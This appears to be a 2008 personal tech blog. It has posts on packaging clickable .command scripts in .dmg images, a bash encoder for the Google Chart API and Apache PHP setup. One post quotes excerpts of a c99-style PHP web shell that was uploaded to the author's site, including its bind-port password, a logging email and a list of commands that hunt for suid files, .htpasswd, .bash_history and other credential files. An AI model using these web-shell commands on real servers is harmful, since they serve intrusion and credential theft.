Tuesday, January 15, 2008

Apple .command executed on mounted image

SOLUTION:
  1. Create a command line program and make it execution clickable in Finder interface, by appending .command
    e.g. myexe.command
  2. Wrap this up in a .dmg file, which is mountable once it is clicked on (it is how most mac programs are distributed from websites)
USAGE:
  1. User clicks twice, once on the URL (e.g.) http://example.com/yoursoftware.dmg
  2. User sees the mounted image in their Finder interface, and sees the (e.g.) myexe.command
  3. User clicks on myexe.command
IMPLEMENTATION:
  1. Create a shell executable.
    vi myshellscript.command
    #!/bin/bash
    ls -l
  2. Make it executable.
    sudo chmod 0777 myshellscript.command
  3. Put into directory as the only file.
    mkdir downloads
    mv myshellscript.command downloads/
  4. Create a .dmg file
    hdiutil create -srcfolder downloads -volname MyDownloadable MyDownloadable
  5. Click on MyDownloadable.dmg
  6. Click on myshellscript.command

Sunday, January 13, 2008

Google Chart API: Bash : Simple Encoding

A tiny command line tool to translate numerical values to proper letter values for the Google Chart API. See the official Google API for complete reference.

#!/bin/bash
clear
echo "----------------------------"
echo " tiny Google Chart API tool "
echo "http://code.google.com/apis/chart/#chart_data"
echo "----------------------------"
function datum_encoder()
{
if [[ "${1}" == "exit" ]]
then
exit;
fi
datum=`echo ${1} | \
sed -e 's/^0$/A/g' \
-e 's/^1$/B/g' \
-e 's/^2$/C/g' \
-e 's/^3$/D/g' \
-e 's/^4$/E/g' \
-e 's/^5$/F/g' \
-e 's/^6$/G/g' \
-e 's/^7$/H/g' \
-e 's/^8$/I/g' \
-e 's/^9$/J/g' \
-e 's/^10$/K/g' \
-e 's/^11$/L/g' \
-e 's/^12$/M/g' \
-e 's/^13$/N/g' \
-e 's/^14$/O/g' \
-e 's/^15$/P/g' \
-e 's/^16$/Q/g' \
-e 's/^17$/R/g' \
-e 's/^18$/S/g' \
-e 's/^19$/T/g' \
-e 's/^20$/U/g' \
-e 's/^21$/V/g' \
-e 's/^22$/W/g' \
-e 's/^23$/X/g' \
-e 's/^24$/Y/g' \
-e 's/^25$/Z/g' \
-e 's/^26$/a/g' \
-e 's/^27$/b/g' \
-e 's/^28$/c/g' \
-e 's/^29$/d/g' \
-e 's/^30$/e/g' \
-e 's/^31$/f/g' \
-e 's/^32$/g/g' \
-e 's/^33$/h/g' \
-e 's/^34$/i/g' \
-e 's/^35$/j/g' \
-e 's/^36$/k/g' \
-e 's/^37$/l/g' \
-e 's/^38$/m/g' \
-e 's/^39$/n/g' \
-e 's/^40$/o/g' \
-e 's/^41$/p/g' \
-e 's/^42$/q/g' \
-e 's/^43$/r/g' \
-e 's/^44$/s/g' \
-e 's/^45$/t/g' \
-e 's/^46$/u/g' \
-e 's/^47$/v/g' \
-e 's/^48$/w/g' \
-e 's/^49$/x/g' \
-e 's/^50$/y/g' \
-e 's/^51$/z/g' \
-e 's/^52$/0/g' \
-e 's/^53$/1/g' \
-e 's/^54$/2/g' \
-e 's/^55$/3/g' \
-e 's/^56$/4/g' \
-e 's/^57$/5/g' \
-e 's/^58$/6/g' \
-e 's/^59$/7/g' \
-e 's/^60$/8/g' \
-e 's/^61$/9/g' ;`
export ${datum}
}

while true
do
echo "type \"exit\" to exit";
echo "type \"_\" for missing data";
read -p "enter number between 0 and 61: " 
datum_encoder ${REPLY}
clear
echo "----------------------------"
echo "           ${REPLY} = ${datum}"
echo "----------------------------"
done

Saturday, January 5, 2008

write.php by MakeBuy source code

On Dec 31, 2007 a set of files were uploaded to my website. Here are highlights:

  • is written in PHP
  • filename is write.php
  • has code to see lots of details about a localhost it lives on,
  • is functional on linux/unix OS,
  • sets a cookie on remote machines,
  • can email info to someone,
  • does a bunch of possibly evil things using MySQL
  • and is web form controlled.

Particularly interesting code snippets are shown here (forgive the weird formatting for blogspot) :

# Home page: http://ccteam.ru
$bindport_pass = "c99"; 
$bindport_port = "31373"; 
$bc_port = "31373"; 
$datapipe_localport = "8081"; 
$log_email = "oon.boy@gmail.com";
if (!$win)
{
    $cmdaliases = array(
        array(
"------------ ls -la ------------------",
"ls -la"
                 ),
        array(
"find all suid files", 
"find / -type f -perm -04000 -ls"
                  ),
        array(
"find suid files in current dir",
"find . -type f -perm -04000 -ls"
                  ),
        array(
 "find all sgid files", 
 "find / -type f -perm -02000 -ls"
                  ),
        array(
"find sgid files in current dir", 
 "find . -type f -perm -02000 -ls"
                   ),
        array(
 "find config.inc.php files",
 "find / -type f -name config.inc.php"
                  ),
        array(
"find config* files", 
"find / -type f -name \"config*\""
                  ),
        array(
"find config* files in current dir", 
 "find . -type f -name \"config*\""),
        array(
 "find all writable folders and files", 
  "find / -perm -2 -ls"
                  ),
        array(
 "find all writable folders and files in current dir", 
"find . -perm -2 -ls"
                  ),
        array(
"find all service.pwd files", 
 "find / -type f -name service.pwd"
                  ),
        array(
"find service.pwd files in current dir",
"find . -type f -name service.pwd"),
        array(
"find all .htpasswd files",
"find / -type f -name .htpasswd"
                  ),
        array(
"find .htpasswd files in current dir",
"find . -type f -name .htpasswd"
                   ),
        array( 
"find all .bash_history files",
"find / -type f -name .bash_history"
                    ),
        array(
"find .bash_history files in current dir",
"find . -type f -name .bash_history"
                    ),
        array(
"find all .fetchmailrc files", 
 "find / -type f -name .fetchmailrc"
                   ),
        array(
"find .fetchmailrc files in current dir", 
"find . -type f -name .fetchmailrc"
                  ),
        array(
"list file attributes on a Linux second extended file system", 
"lsattr -va"
                  ),
        array(
"show opened ports",
"netstat -an | grep -i listen"
                   )
    );
}

I've saved the code as a JPG which can be easily read. You can click on the embedded images below to go to the JPG's, then download by clicking on link to the right of the image.

Editing HTTPD.CONF to Enable PHP

sudo vi /etc/httpd/httpd.conf

(240 shift-g) Line 240
(284 shift-g) Line 284
(856 shift-g) Line 856
(857 shift-g) Line 857

(1087 shift-g) Line 1087
LoadModule php4_module libexec/httpd/libphp4.so
AddModule mod_php4.c
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
<IfModule mod_dir.c>
DirectoryIndex index.html index.php index.htm
</IfModule>

Start or Stop Apache


>sudo `whereis apachectl` stop
>sudo `whereis apachectl` start
>sudo `whereis apachectl` status
>sudo `whereis apachectl` help
>whereis apachectl
/usr/sbin/apachectl